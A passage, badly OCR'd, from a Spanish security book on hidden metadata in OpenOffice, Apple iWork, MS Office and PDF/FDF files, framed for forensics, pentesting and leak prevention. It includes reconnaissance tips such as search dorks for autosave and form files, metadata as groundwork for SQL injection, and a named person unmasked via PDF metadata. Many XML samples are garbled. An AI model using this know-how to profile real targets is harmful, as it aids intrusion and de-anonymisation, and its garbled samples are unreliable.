<config:config-item config:name="CurrentDatabaseDatasource™
config:type="string">Referencias</config: config-item>

«<config:config-item config:name="CurrentDatabaseCommandType™
config:type="1int">8«/config: config-item>

<config:config-item config:name="CurrentDatabaseCommand®

cenfig:type="string">Contactos</config:config-item>
<config:config-item config:name="PrintDrawings” config:type="boolean">true</config: config-items|

Imagen 01.33: Informacion de la base de datos en settings XML,
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Y en el archivo content XML es almacenado el nombre de la base de datos, la tabla y los campos:

[CTEXL:p Lext:style-name= Standard >
ctext:database-display text:table-name="Contactos” text:table-type="table" text:column-
name="nombre" text:database-name="Referencias”><nombres></text:database-display>
</textip>
ctext:p text:style-name="Standard">
<text:database-display text:table-name="Contactos" text:table-type="table” text:column-

name="direccion” text:database-name="Referencias”>«direccion»</text:database-display>
<ftext:p>
<text:p text:style-name="Standard">

ctext:database-display text:table-name="Contactos"” text:table-type="table” text:column-
name="clave" text:database-name="Referencias”>«<clave></text:database-display>

Imagen 01.34: Informacion de campos, tablas y base de datos en content. XML.

Sin embargo, como puede observarse en estos archivos, la informacion relativa a la conexion a la
base de datos no se encuentra en el documento ODF. Esta informacion, que podia mostrar la ruta a
un fichero de bases de datos o las credenciales para un servidor, se almacena en un archivo del perfil
del usuario llamado DataAccess.xcu que debe ser objeto de especial proteccion por parte del usuario

C:\ Documents and Settings\ CUENTA DE USUARIO\ Datos de programa\ OpenOffice.org?)
user| registry\ data\ org\ OpenOffice\ Office\ DatalAccess.xcu

A pesar de que no se publiquen los credenciales de la conexion a la base de datos, la informacion que
almacena el documento podria ser suficiente para ayudar a un posible atacante a preparar ataques a
la BBDD., bien directos, bien a través de técnicas de SQL injection sobre la Web corporativa.

Versiones de documentos

Al igual que otros paquetes ofimaticos, OpenOlffice permite guardar distintas versiones de un mismo
documento. Esta caracteristica es de gran utilidad en entornos de trabajo cooperativo, pues permite
evaluar la forma en que el documento ha sido modificado y, si fuera necesario, recuperar el estado
anterior tras una manipulacion incorrecta. Dentro del menti “Archivo™ se encuentra la opcion
“Versiones” que permite guardar la version actual del documento o establecer la accion a realizar
cada vez que se trabaje con él, permitiendo guardar una nueva version cada vez.

Imagen 01.35: Versiones de documento.
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Dentro de un documento ODF que contiene distintas versiones anteriores guardadas se puede encontrar
dos focos importantes de informacion. En primer lugar, un archivo llamado VersionList. XML con
informacion sobre quién guardo, y cuindo lo hizo, cada distinta version.

<2xml version="1.8" encoding="UTF-8" ?»
<VL:version-1ist xmlns:dc="http://purl.org/dc/elements/1.1/"
amlns:vi="http://opencffice.org/2e81/versions-list">
<¥L:versicn-entry VL:title="Versionl" vL:comment="Version guardada automiticamente”
VL:creator="MiNombre MiApellido” dc:date-time="2088-88-13T00:39:22" />
<vLiversion-entry VL:title="version2" vL:comment="versién guardada automaticamente”
vL:creator="MiNombre MiApellido® dc:date-time="2088-088-13T00:41:53" />
</vL:version-1list>

Imagen 01.36: Archivo VersionList XML con informacion de las versiones.

En segundo lugar, todas las distintas versiones del documento se almacenan en una carpeta llamada
“Versions”. Para cada una de ellas tendremos la estructura completa de un documento ODF de
OpenOffice, es decir, todo lo visto hasta el momento se volvera a aplicar a cada una de las versiones
pues contiene los archivos meta XML, settings XML, content XML, etcétera.

CIMETA-TNF 1693 300

e MiMEty e 39

2008-08-12 22:39

conkent, xml 2529 674 2008-08-12 22:39
les. 6 236 1346 2008-08-12 22:39
1111 454 2008-08-12 22:39

2008-06-12 22:39

[ e P

a Versions en documento ODT,

Imagen 01.37: Carpet

Metadatos en Apple iWork

El paquete Apple iWork estd formado por tres aplicaciones principales, que son Pages, Numbers
y Keynote, o lo que es lo mismo, un procesador de textos, una hoja de célculo y un editor de
presentaciones. Sus formatos de fichero estan basados en una estructura similar a ODF'y OOXML,
es decir, una estructura de carpetas y archivos comprimidos en un tnico fichero que contiene los
siguientes elementos comunes:

- Fichero Index: Es el documento maestro del archivo. Donde esta el contenido. Cambia la
extension dependiendo de la aplicacion,

- Fichero BuildVersionHistory.plist: Historial de versiones del documento.
- Carpeta QuicklLook: Contiene los archivos de previsualizacién.
- Carpeta thumbs: Miniaturas creadas por la aplicacion de imigenes incrustadas.
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- Archivos incrustados: Archivos originales incrustados sin modificar en el documento.

I buildVersionHistory.plist

<txml version="1.8" encoding="UTF-&"7=

| 1 index.xml <IDOCTYPE plist PUBLIC *—//Apple//DTD PLIST 1.8//EN"
. 3 QuickLook | Yhttp /e .app e .com/DTDs/Propertylist—1.8,.dtd"s
thumbs » | <plist version="1.8">
! <aArray> -
€ stringslocal build-Jul 28 201B</strings> oo
<./urroy>
</plists>

Imagen 01.38: Visualizacion interna de un fichero .Pages.

Aunque cada tipo de archivo tiene una estructura algo diferente y utilizan esquemas XML distintos,
la visualizacion de la Figura 01.38 de un documento .Pages es similar en todos los archivos de Apple
iWork.

El fichero BuildVersionHistory.plist

Uno de los ficheros que se encuentra en todos los documentos de Apple iWork’08 y 09 es
BuildVersionHitory.plist. Este fichero esta codificado en el formato Porperty List (.plist), tan comtin
en los entornos Apple.

En sistemas Mac OS X, puede visualizarse su contenido sin necesidad de utilizar ninguna herramienta,
ya que la visualizacién de ficheros .plist esta integrada en Finder, con lo que basta con seleccionarlo
y ver en la previsualizacion del mismo el contenido.

[ builldVersionHistory.plist

<?xml version="1.8" encoding="UTF-8"7>

_| index.xml <!DOCTYPE plist PUBLIC "-//Apples/DTD PLIST 1.8//EN"
ﬁ QuickLook > "http:/wwe ..apple.com/DTDs/PropertyList-1.8.dtd">
plist version="1.8"=
Array>

<=tring=poges-trunk-2805a703_5</string=
<=tringspoges-trunk-2808a785_1</string=
<string=pages-trunk-28080829_1</string=
<string=poges-trunk-26080984_1«/string=
<string=local build-Jul 28 2818</string=
| wtring=local build-Jan 6 281li</string=

=/array=

</plists

Imagen 01.39: BuildVersionHistory.plist visto en la previsualizacion de Finder en Mac OS5 X.

Como puede verse en la imagen, el contenido de este fichero es una lista de versiones y fechas de
edicion del documento, lo que proporciona una linea temporal para ubicar este documento.



Capitulo 1. Los Metadatos -

Vista previa en la carpeta QuickLook: Preview.PDF y Thumbnail.jpg

Con el objeto de obtener un vistazo ripido del contenido de un documento, por ejemplo cuando se
visualiza con Finder en un sistema Mac OS X, cada archivo de Apple iWork contiene dentro de la
carpeta QuickLook los ficheros de previsualizacion del documento.

Es decir, el contenido seria equivalente al thumbnail que se guarda en los metadatos EXIF de una
fotografia. Esa previsualizacion estd almacenada en un archivo llamado Thumbnail jpg que muestra
la primera pagina del documento.

Sin embargo, si el fichero es un de tipo .Pages, en esta carpeta, por defecto, encontraremos la misma
previsualizacion del documento pero en formato PDF. Esto implica situaciones bastantes curiosas,
especialmente en el fichero PDF, ya que la previsualizacion se realiza con el driver de creacion de
documentos PDF y la configuracion por defecto del mismo que tenga la maquina en la que se esta
trabajando. Asi, tal y como se puede ver en la figura 01.40, puede aparecer informacién muy jugosa
como el usuario del sistema, el software utilizado para crear el documento, y, en este caso, la versién
en concreto del sistema operativo: Mac OS X 10.6.4 Snow Leopard.

Srm.pages/QuickLook

buiid\lers{onﬂl story.plist
tnde_x.xmi

Preview.pdf
Modificacion: martes 25 de enero de 2011 10:10

Tiwlo:l
Autores:
Versién:
Piginas:

Resolucién:

Seguridad:
Creador del contenido:
Spftware de codificacién

[} Ocultar extensién

P Abrir con:
P Previsualizacién:
I Compartir y permisos:

Imagen 01.40: Metadaros en el fichero Preview PDI dentro de la carpeta QuickLook de un documento Pages.
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Como se puede ver en la imagen 01.40, tenemos en este caso un documento creado el 25 de Enero
de 2011 actualizado a Mac OS X 10.6.4 Snow Leopard, con lo que sabemos que esa maquina no tiene
instalados los parches de seguridad de Mac OS X posteriores, que solucionan una buena cantidad de
fallos de seguridad.

Carpeta thumbs y archivos incrustados

Dentro de un fichero de Apple iWork es posible encontrar dos tipos de archivos de recursos. Estos
ficheros pueden ser videos, imagenes u otros documentos incrustados, y se encuentran en dos
ubicaciones distintas. Unos se encuentran en la carpeta raiz del documento y otros dentro de la
carpeta thumbs, y tienen caracteristicas totalmente diferentes.

Los primeros son archivos incrustados que permanecen inalterados. Estos archivos no han sido
modificados por la aplicacién, asi que mantienen los metadatos originales. Pueden ser videos,
imagenes, o archivos de audio, y cada uno de ellos merece un andlisis de metadatos distinto.
También pueden ofrecer informacion que pertenezca al usuario o no. Es decir, pueden ser fotos o
videos descargados de Internet, pero también fotografias y videos tomados por el teléfono mévil del
creador de archivo, por ejemplo. En cualquier caso merecen un analisis de metadatos detallado e
independiente.

Por otro lado, se encuentran los archivos de la carpeta Thumbs, que son ficheros graficos modificados
o creados por la propia aplicacion, lo que implica que cualquier rastro de informacién que tengan
depende de la maquina donde se cre6 el documento. Asi, si se copia algo en el portapapeles y se
pega al documento, al carecer de un fichero de soporte, la aplicacién creard un fichero en la carpeta
Thumbs. Esto es algo que, como ya mencionamos, también realiza el paquete Microsoft Office.

El perfil de color y los documentos grificos

Los perfiles de color ICC (International Color Consortium) son algo muy curioso, y desde hace
mucho tiempo muy cuidado en Apple. Un perfil ICC se utiliza para configurar la forma en que una
paleta de colores debe ser representada en un determinado dispositivo. El objetivo es aplicar las
correcciones en la visualizacion del color original para que los detalles de representacion del color
origen en el dispositivo destino sean lo mas parecidos posible.

Asi, si un monitor tiene demasiada luz y puede hacer que un morado parezca rosa, se aplica un perfil
corrector en la visualizacion del color para que se siga viendo morado en ese monitor. De este modo,
en los equipos de Apple, igual que en maquinas de fotos, tabletas, o teléfonos moviles, se afiade la
informacion del perfil de color que se utilizo para visualizar o tomar la foto, para ayudar a entender
mejor lo que se queria representar.

En los documentos graficos que aparecen en la carpeta thumbs, al igual que el archivo thumbnail jpg
de la carpeta QuickLook, aparecen los perfiles de color, tal y como se puede ver en la figura 01.41.
Estos deberian ser los mismos si el documento se ha creado desde una misma maquina sin que el
usuario haya tocado la configuracion del perfil de la misma. Si son distintos, es que el documento se
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ha modificado en varias maquinas o se ha cambiado la configuracion en el periodo de creacion de
documento, algo poco probable.

<= PageCapThumbV2- 1.tiff 12 KB
nre | Modificacion: jueves 4 de marzo de 2010 06:27

P Comentarios de Spotlight:

P General:
¥ Mas informacion:

Dimensiones: 45 x 56
Espacio de color: RGB
Perfil de color: iMac
Canal alfa: Si

¥ Nombre y extension:

PageCapThumbV2-14iff |
[} Ocultar extension

¥ Abrir con:
¥ Previsualizacion:
P Compartir y permisos:

Imagen 01.41: Perfil de color adaptado para ser visualizado en un iMac.

Ademds, en algunos entornos, como se puede ver en la figura 01.41, el nombre del perfil puede
ser lo suficientemente claro como para dar informacion detallada de donde se cred un determinado
documento, en este caso en una maquina iMac.

Archivos con extension chrtshr

Uno de los tipos de archivos incrustados que pueden llamar la atencion en los documentos de Apple
son los ficheros con extension .chrtshr, pero desde el punto de vista de metadatos tienen poco que
ofrecer ya que son solo datos para la generacion de graficos, por lo que seran muy comunes en
ficheros .numbers.

Los archivos maestros: Index.XML e Index.apxl

En los documentos Apple iWork, el ultimo, pero no por ello menos importante, es el archivo maestro.
Este, en los formatos de .Pages y .numbers se llamara Index XML, mientras que en Apple Keynote, es
decir, en los ficheros .key aparece con el nombre de /ndex.apxl (en las primeras versiones de Apple
Keynote se utiliza presentation.aplx) aunque realmente es también un fichero en formato XML.
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<?xml version="1.8"7:

<key:presentation xmlns:sfo="http://developer .apple.com/namespaces/sfa"
xminsisf="http://deve loper .apple.com/namespaces/sf " xmlnsixsi="http:/fwww.w3.org’
2881/xMLSchema-instance" xmlns:key="http://developer.apple com/namespaces,;
keynote2" key:version="920851082466" sfa:ID="BGShow-A" key:play-mode="1interactive"
key:kiosk-slide-delay="5" key:kiosk-build-delay="2" key :mode="once"=<key:size
sfa:w="1824" sfa:h="768"/><ey:theme-list =fa:ID="NSMutab leArray-A"=<kev :theme
sfa:ID="BGTheme-2" key:name="Theme" key:group-
uuid="72AEC1A1-7AF9-49CC-8304-4147AB4395EB" key :decimal-tob="."><key:size
sfoiw="1024" sfa:h="768"/>key sty lesheet

sfa:1D="5FS5ty lesheet-27"><sf sty lesswsf ivector-style sfa: ID="SFTVectorStyle-234"
sf rident="tabular-default-footer-border-vector-sty le-id"s<=f iproperty-

maps<sf iopacity><sf inumber sfa:number="1" sfa:type="f"/ =</

Imagen 01.42: Fichero Index.apxl de un archivo .key.

Dependiendo del tipo de documento, estos archivos maestros tendran una especificacién en formato
XML diferente, y utilizaran distintos esquemas de nombres, por lo que la informacién que vamos a
encontrar en cada uno de ellos serd totalmente distinta entre ellos. Ademds se producira el mismo
efecto que en otros paquetes ofimaticos, en los que unas aplicaciones dejan mas informacion oculta
que otras.

Objeto Medatada

Dentro de estos ficheros maestros hay un objeto especifico para los metadatos; es decir, para los
datos que el usuario puede manipular directamente haciendo uso de la aplicacion de Apple iWork
concreta.

l==f :metadata=
<fititles<sfistring sfaistring=""/></sfititle>
==f tkeywords:
<sfiarray sfa:ID="NSArray-35"s<sf :string sfa:string=""/=/sf arrays
=/sf tkeywords=

=TT e 4 AR s e mmreces -
<sfiarray sfa:ID="NSArray-36"=<sf string sfa:string=""/=—</sf HArrays
</sf :authors:
<5t iprojects>
<sfiarray sfa:lID="NSArray-37"»<sf:string sfa:string=""/s</sf :arroy-
</sf iprojectss
<=f :comment =
<=fistring sfaistring=""/=</sf icomment=
<=t icopyrights<sf rstring sfaistring="{c)}"/></sf :copyright=
l</sf :metodatas

Imagen 01.43: Objeto Metadata.

Como se puede ver en la Imagen 01.43, en el caso de que no se haya limpiado la meta-informacion
del documento, es posible acceder a la informacién habitual en metadatos, entre la que se encuentran
los autores del documento. No existe una herramienta especial de limpieza de metadatos, solo existe
el inspector de documentos, donde el autor decide si escribe o no esos datos.
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IZREET Documento |

IGEET & < =4 0@

| Docum. | Tab. contenido m

Autor |Chema

~ Titulo | metadato

|
Palabras clave |metadato 1|
' ' i

Commtarfos metadato

Imagen 01.44: Meradatos en Inspector de Documentos.

Informacion Oculta

Respecto a la informacién oculta, podemos encontrar una gran cantidad de objetos dentro de los
archivos maestros con informacion jugosa, como rutas locales, versiones de sistema operativo,
impresoras configuradas en el equipo o fechas de versiones.

Rutas locales en atributos path

Dentro de muchos de los atributos, como son imagenes incrustadas, plantillas, graficos, etcétera, es
posible encontrar el atributo path, con informacion relativa a rutas locales de la maquina del usuario
que creo el documento.,

=[=:thumbnail sfa:lb="SrRImagesinary—7 =
<sfisize sfoiw="32" sfa:h="32"/>
<sf :data sfa;ID="SFEDGtO=T" selre b e A
sfi:path="Temp lates/Shared/proto-thumbai | -Headers .Liff"
sfi:displayvname="thumbsproto-thumbai |-Headers .£iff"
sfiTEesOUrCe-Lype="1" ST :sharoble="Talse" sf thfs-type="8" sf :2ize="2268"/>
</ lsithumbnai L=</ ls itabular-prototype:

Imagen 01.45: Atributo path con ruta local y displayname con ruta interna al documento.

Versiones y fechas del documento

Para gestionar la lista de versiones, es posible encontrar un objeto llamado version-history, en el que
se identifican todas las versiones que se han creado del documento.,
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L= | sversion-historys

<sl:inumber sfa:inumber="2004842200" sfa:type="i"/s><sl:rumber sfa:number="2004A60808" sfartype="1"/=
==l inumber sfo:number="2004061600" sfa:type="1i"/><=|:number sfa:number="28A4A62260" sfa:type="i"/>
<=l ihumber sfa:number="2004862980" sfa:type="i"/s<=|:number sfa:rumber="2804A722608" sfa:type="i"/=
<slinumber sfo:number="2004891680" sfaitype="i"/s><sl:inunber sfa:number="20040893088" sfa:type="i"/>
<=l mumber sfa:number="2AR5A910008" =fq: "¢eczlinumber sfainumber="200589120808" sfo:type="i"/>
<l :number sfa:number="2005148608" sfa:type="1i"/=<=|:number sfa:number="72686116208" sfa:type="q"/>
<slinumber sfa:number="72006118981" sfa:type="g"/><slinumber sfa:number="720061116081" sfa:type="q"/>
<slinumber sfa:number="72007018581" sfo:type="g"/s><sl:inunber sfa:number="72007812708" sfa:type="g"/>
<slinumber sfoinumber="72087061408" sfo:type="g"/s><sl:nunber sfa:number="92005070388" sfa:type="q"/>
<zlinumber sfa:number="92088082800" sfa:type="q"/><sl:number sfa:number="92RB3098306" sfartype="g"/=
<l inumber sfa:inumber="92ZPBB182488" sfa:type="q"/=

/sl iversion-history-

Imagen 01.46: Elemento Version-history.

Ademas, hay dos objetos concretos como son LastModifiedDateProperty y CreationDateProperty,
que identifican cuando se modifico por tltima vez el documento y cuando fue creado.

Evidentemente, cualquier informacion relativa a fechas en un documento es de suma importancia
tanto para un analisis forense, ya que permitiria establecer una linea temporal de los hechos, como
para un pentester, ya que le permitiria descubrir qué informacion es actual y cudl es mas antigua.

Informacion de impresoras

Dentro de los documentos, dependiendo de la aplicacion que lo cred, hay un objeto llamado doc-info
0 print-info, que guardan el nombre de la impresora que el usuario tiene configurada.

<lz:LSFormattingPrinter IDProperty=
<ls:iztring sfa:string="HP4738Bmfp_DAG_3rd_F loor_North"/=
</ lg:LSFormattingPrinter IDProperty=

Imagen 01.47: Informacién de impresora en doc-info.

<zl :NSPrinters
<z liprinter sl:type="hp psc 1200 series"/>
='sl:NSPrinter=

Imagen 01.48: Informacion de impresora en print-info.

Version del sistema operativo

Uno de los objetos que contiene informacion mas jugosa sobre la maquina del usuario es OSVersion,
que contiene la version concreta del sistema operativo.

Control de Cambios

Y, por ultimo, como en casi todas las herramientas de edicion de documentos actuales, también es
posible activar el control de cambios, para saber qué usuarios han ido modificando el documento a
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lo largo de su vida. Asi, si esta opcion estd activa, serd posible acceder a esta informacion a través
del objeto: change-tracking.

==l :change-tracking sl:enobled="trus">
<zl :zession-history=
<zl izession sf inumber="8" =f:time-ref="342426012.61529383"
sf :date="2011-11-A8TA7:03 :32+6100" =fq:ID="SFYSession-8"=
<sf tauthor sf :hame="Chema"><=f icolors sf:csid="0"/></sf :author>
</al:isession=
</sl:session-history=
«/zl ichange-track ing=<s1 :sect ion-prototypess

Imagen 01.49: Control de cambios.

Las pistas en los documentos Apple iWork

Los documentos que se crean con la suite de Apple iWork, ademés de todos los metadatos que
tienen como hemos visto hasta el momento, cuentan con la posibilidad de proteger un determinado
documento con una contrasefia que también puede generar una pequefia fuga de informacién. Para
que el usuario pueda recordar qué contrasefia establecio es posible afiadir una pista, que le haga
recordar cudl fue la clave elegida para proteger ese documento en concreto.

Set a password to open this document:

Password: [eesees ][9]

Verify: [eseses 4

Flme s LS NN WS N . .

Bassward Mint: Password habitual|
{Recommended)

| Cancel | [iSabPas

Imagen 01.50: Password hint en un documento de Apple i Work.

Por supuesto, la pista recordatorio no se cifra, ya que de otra manera seria imposible verla sin tener
la contrasefia, asi que basta con descomprimir el fichero y buscar el lugar exacto donde se almacena
dentro del documento.

88 27 E6 9D 17 OA 69 75 FO 6E 63 15 00 69 [77 74
8 50 61 73 73 77 BF 72 64 20 €8 61 62 69 74 7%
51 &C BF 63 28 00 69 77 75 75 38 33 34 35 44 34

Imagen 01.51: Password hint en el fichero.
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Metadatos en otros archivos de MS Office

Dentro de un paquete tan complejo como Microsoft Office hay un buen conjunto de formatos
de archivos distintos. Muchos de ellos no son demasiado conocidos pero casi todos tienen una
caracteristica comtn: Tienen metadatos.

Archivos de autorecuperacion

Las aplicaciones de Microsoft Office tienen una opeién muy Gtil de generar una copia autoguardada
del fichero con el que se estd trabajando por si acaso se produce un error de la aplicacion, poder
recuperarse. Estos ficheros de autoguardado han ido cambiando con el tiempo, pero todos tienen dos
caracteristicas curiosas: Son en formato binario y conservan todos los metadatos.

Los ficheros originales que se utilizaban para el autoguardado temporal eran todos con extension
TMP, asi que es muy habitual encontrar ficheros con extension 7MP que realmente sean reconocidos
como documentos PPT, XLS o DOC.

Cuando se busca este tipo de archivos en Internet con Google, hay que tener en cuenta que con
FILETYPE:PPT no van a aparecer, asi que hay que buscar esos documentos con extension TMP.

En el caso de Microsoft Excel, ademas de los archivos .TMP antiguos, esta también el formato XAR.
De nuevo se trata de un formato binario, y también conserva todos sus metadatos, informacion
oculta y datos perdidos.

msiar10EB.xar - University of Chicago
ftp://deltadromeus.uchicago.edu/array1/PE.../Excel/~ar10EB.xar ~
A,B,C,D,E,F,G.H N QR,S T UVW,XY,Z AA, AB, AC, AD, AE, AF, AG,
AH, Al, AJ, AK, AL, AM, AN, AO, AP, AQ, AR, AS, AT, AU, AV, AW, AX, AY, AZ, BA

XLs) ar3463.xar

ftp://deltadromeus.uchicago.edu/.../[Excel/~ar3463.x... ~ Traducir esta pagina
A, B,C, D E, F. 12 Items, Costs, Notes. 3, Flights for three students, $1,665.93,
Frontier Airlines. 4, Hotel Accomodations, 984.36, One room added.

Imagen 01.52: Archivos Excel autoguardados en formato XAR.

En el caso de Microsoft Word, dependiendo de la version que usemos vamos a encontrar ficheros con
extension .4SD o .WBK. No importa si estamos trabajando en Microsoft Office 2007 o superior con
ficheros OOXML, en este caso los archivos son binarios también.

Por supuesto, si bajamos uno de esos archivos y analizamos los metadatos que pueda contener uno
de esos archivos con la herramienta FOCA Online, podremos ver como esté lleno de sus metadatos,
por lo que si estuviéramos haciendo una auditoria podrian venir de maravilla.

Si queremos ver el documento de forma normal, y analizarlo, le cambiamos la extension a .DOC
(formato binario), para ver qué metadatos hay en él.
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Generic metadata extracted

& Title: EXCEL FOR WINDOWS

| Application: Microsoft Office 97

A Encoding: Latin |

I= Statistics: Pages: 1 Words: 1614 Characters: 9200 Bytes: 16896 Lines: 76 Paragraphs: 18
a‘Userdeﬁnedinformation:_PlD_GUID:{9 BCFDBEO-5D07-11D1-A399-00C04FB10
E52}

&= Times edited: 2

£ Template: Excell outline.dot

%l Operating System: Windows NT 4.0

Users found
Spreferred Customer

& Authorized Customer
acmsu

Paths found on the file

AN
SA\CMSU2\PUBLIC\classes\Yates\

Imagen 01.53: Analisis con FOCA Online de los metadatos de un archivo autoguardado.

Otros formatos de documentos en Microsoft Excel

Una aplicacion como Microsoft Word, Microsoft Power Porint o Microsoft Excel puede gestionar
decenas de formatos de fichero. Muchos de ellos son para pequefias utilidades o funciones dentro de
la herramienta o simplemente como forma de intercambiar datos de forma interoperable con otras
suites. Para ejemplarizar la cantidad de ficheros que tienen metadatos en un paquete ofimdtico y de
los que habria que preocuparse en todo momento, hemos elegido Microsofi Excel, que cuenta con la
siguiente lista de formatos nativos:

1. .xI - Hoja de calculo de Excel

xla— Complemento de Excel

xIb— Barra de herramientas de Excel
.xlc - Grafico de Excel

.xld — Base de datos de Excel

S

xlk - Copia de seguridad de Excel
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7. XLL - Complemento de Excel

8. .xlm — Macro de Excel

9. xls — Hoja de calculo de Excel

10. .xIsb — Hoja de célculo binario de Excel

11. xIsHTML — Hoja de calculo de Excel para Internet formato HTML
12. .xlsm — Hoja de célculo de Excel con Macros habilitadas

13. xlIt — Plantillas de Excel

14. .xlv — Modulo de Visual Basic de Excel

15. xlw — Espacio de trabajo de Excel

16. .xlw — Libro de Excel

Cuando se hace un andlisis de seguridad se deben perseguir todos los archivos ofimaticos ya que si
no nos quedariamos sin muchas fugas de informacién que podrian dar informacion jugosa. De igual
forma, cuando de proteger las fugas de informacion de una empresa se trata, hay que tener cuidado
con todos.

Si nos paramos a ver como son todos esos ficheros desde el punto de vista de estructura y metadatos,
salen algunas cosas curiosas sobre cada uno de estos tipos que os resumimos en esta lista. de
compatibilidad:- XLA: No tiene metadatos, es codigo y se puede ver informacion solo en los
comentarios de los programas VBA y en los nombres de las variables.

—

. - XLB: Sin metadatos, es un archivo de codigo binario.

2. - XLC: Codificacién binaria. Mismos metadatos que un XLS.

3. - XLD: Formato XML sin metadatos.

4. - XLK: Formato binario. Mismos metadatos que un XLS.

5. - XLL: Formato binario. Mismos metadatos que un XLS.

6. - XLM: Codificacion OOXML. Mismos metadatos que un XLSX.
7. - XLS: El formato nativo.

8. - XLSB: Formato binario. Mismos metadatas que XLS.

9. - XLSHTML: Codificacion HTML.

10. - XLSM: Codificacion OOXML. Mismos metadatos que XMLX.
I1.- XLT: Codificacion binaria. Mismos metadatos que XLS.

12. - XLV: Codificacion binaria. Mismos metadatos que XLS.

13.- XLW: Codificaciéon binario. Mismos metadatos



Capitulo I. Los Metadatos

Como se puede ver, casi todos los formatos ofrecen metadatos que pueden ser extraidos con las
herramientas como FOCA Online, o MetaShield Forensics, solo hay que buscarlos cuando se esté
realizando la fase de footprinting y fingerprinting de un pentesting y preocuparse de ellos cuando se
esté realizando un proceso de Data Loss Prevention.

Data relating to dates Users found

8 Created on: 14-NOV-2007 16:21:18 S HA

2 Modified on: 13-MAR-2013 19:52:34 &hhassar
{% Printed on: 29-APR-2012 18:20:10

Generic metadata extracted Printers found on the file
] Application: Microsoft Office EHP LaserJet 3050 Series PCL 6
4 Encoding: Latin |

. Company: VUU

il Operating System: Windows 7

Imagen 01.54: Metadatos en fichero de formato XLL

Cualquier fichero creado por una herramienta ofimatica, sea cual sea ésta, es susceptible de tener
metadatos, por lo que se debe tener presente esa maxima en cualquier situacion.

Metadatos en formatos Postscript y PDF

Son muy comunes hoy en dia los ficheros publicados en formato PDF (Portable Document Format),
ya que tienen la capacidad de hacer pensar a muchos usuarios que no tienen metadatos o informacion
oculta.

Nada mas lejos de la realidad.

Ademas, el formato PDF es uno de los mas complejos hoy en dia, permitiendo también ejecucion de
codigo y diferentes opciones a lo largo de sus diferentes versiones.

En la actualidad, la versién 1.7 es la mas popular, aunque ya se esta trabajando en estandarizar la
version 2.0 de dicho formato.

Los metadatos en este tipo de documentos tienen una ubicacién destacada, ya que por defecto se
utiliza el estandar de ISO XMP (Extensible Metadata Platform) que no es mas que un formato XML,
que permite definir los campos para almacenar los metadatos, por lo que bastaria con revisar esos
campos para poder leer los metadatos de un fichero en formato PDF.

En casos como el de las notas de prensa de anonymous, fue tan sencillo como eso para descubrir que
un disefiador grafico en 3D, de nombre Alex Tapanaris, estaba formando parte de la organizacion, ya
que en los campos XMP se podia leer su nombre.
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| [ Software Recognition i% Report
|| Metadata | MNetwork data |
b e S Atribute T
| | 2" Documents (1/1) g :
=78 pdf (1) ile Information

BR8] AHONGPS_The Press_Relesse pdf Download Yes

o3 Anabized Yes

; Download date 1241272010 63420
Size 68,57 KB
o T e S I T AN S S

Usemame Alex Tapanaris

Dates.... SONPI—

Creation date 10/12/2010 3:18:27
Modified date 12/12/2010 6:34:24

Other Metadata - SRl T
Ppplication
 Aopiica

Software —
Whiter
OpenCffice 3.2

Imagen 01.55: Metadatos en nota de prensa en formato PDF de anonymous.
Sin embargo, esto puede ser infinitamente mas complejo, debido a que existen muchas impresoras
virtuales y muchas aplicaciones realizando conversion de documentos procedentes de otros formatos,
y puede que los metadatos y/o informacién oculta que provengan de los formatos de documento

originales queden mal ubicados en el documento, por lo que siempre es mas que recomendable hacer
un analisis de cadenas de texto del fichero binario completo.

Para evitar las fugas de informacion, se recomienda utilizar aplicaciones certificadas para la
manipulacion del formato PDF, que no lo son todas, aunque asi lo parezca.

(XML) Forms Data Format

Entre las opciones de almacenamiento y manipulacién de datos, el formato de documento PDF
tiene otros formatos de archivo asociados a él, como son los XML Forms data. Estos ficheros tienen
extensiones FDF' y XFDF' y son, como hemos dicho, relativos al popular formato de documentos
PDF,

El primero de ellos Forms Data Format es el formato en el que los formularios en formato PDF
guardan los datos. Es muy antiguo y se usa para hacer documentos PDF que funcionen como
plantillas. El segundo de ellos XML Forms Data Format es equivalente al anterior pero en formato
XML. Facil de entender. El problema viene cuando se intentan localizar a través de los buscadores,
ya que en Google solo saldran si se buscan esas extensiones, es decir, ext:'DF o ext:XFDF y nunca
cuando se buscan los ficheros PDF.
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En el caso de Bing el problema es el mismo, ya que el buscador no los reconoce como ficheros PDF,
asi que en las busquedas de FILETYPE:PDF nunca apareceran estos ficheros.

<?xml version="1.0" encoding—“UTF -8"7>

ps pi_
PCT132311050003 _ROIB20110000004\1322578478093_view.pdf"/>

<fie1d name="t_prescribed_amount“><value>100.00 (CHF}:/value></field>
<field name="ji_chk_insufficient"><value>Yes</value></field>

<field name="authorized-officer-name"><value>Chekal</value></field>
<field name="s_balance"><value>1,820.00 (CHF)</value></field>

<field name="receipt_send_no"><value>R0IB20110000004</value></field>
<field name="balance"><value>430.00 (CHF)</value></field>

<field name="s_amount_paid"><value>@.00 (CHF)</value></field>

Imagen 01.56: Fichero XFDF que apunta al doc PDF que se usa como plantilla.

Como no hay opcién de utilizar el comando EXT:FPF o EXT-XFDF en Bing Hacking, entonces
estamos obligados a buscarlos utilizando el operador Contains, que tan buenos resultados da siempre
buscando paginas que enlacen documentos con esas extensiones.

$FDF-1.2
$aaIo

1 0 obj

<<

/FEDF 2 0 R

>>

endobj

<<

/Type /Import
/contactinfo ([N ¢y=hoo.com)
/CMS

endobj

Imagen 01.57: Metadatos en formato FPF.
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Capitulo I1
Analisis y limpieza de metadatos

En el capitulo anterior se ha mostrado la informacion oculta, los metadatos y los datos perdidos
que son almacenados en diferentes tipos de ficheros, lo que puede convertirse en un riesgo para
el productor de la informacion si no se realiza una gestion adecuada al publicar o distribuir estos
ficheros. En este segundo capitulo se mostrara como utilizar la herramienta FOCA para extraer toda
esta informacion de una gran cantidad de tipos de archivos desde dos enfoques diferentes. Por una
parte, se analizard el uso de FOCA como herramienta de analisis forense para obtener informacion
de archivos que el analista tiene en su poder, y por otro lado, se estudiara la potencia de FOCA
para realizar procesos de recoleccion de informacion, automatizando las tareas de localizacion de
ficheros en Internet y de extraccion de mefadatos.

A lo largo del capitulo se han incluido varios ejemplos de casos forenses que fueron resueltos con
la informacion incluida en los metadatos de los ficheros involucrados y de ataques que podrian
prepararse y llevarse a cabo con la informacion que FOCA es capaz de obtener de un dominio
auditado. Con el objetivo de que el lector tome conciencia de los riesgos de una mala politica de
publicacion de archivos, se ha incluido una seccion dedicada a concretar y subrayar estos riesgos,
en la que se hace mencion a otras aplicaciones y a malware especializado que utiliza este tipo de
informacion,

De hecho, dentro del Esquema Nacional de Seguridad', un marco de seguridad y confianza que debe
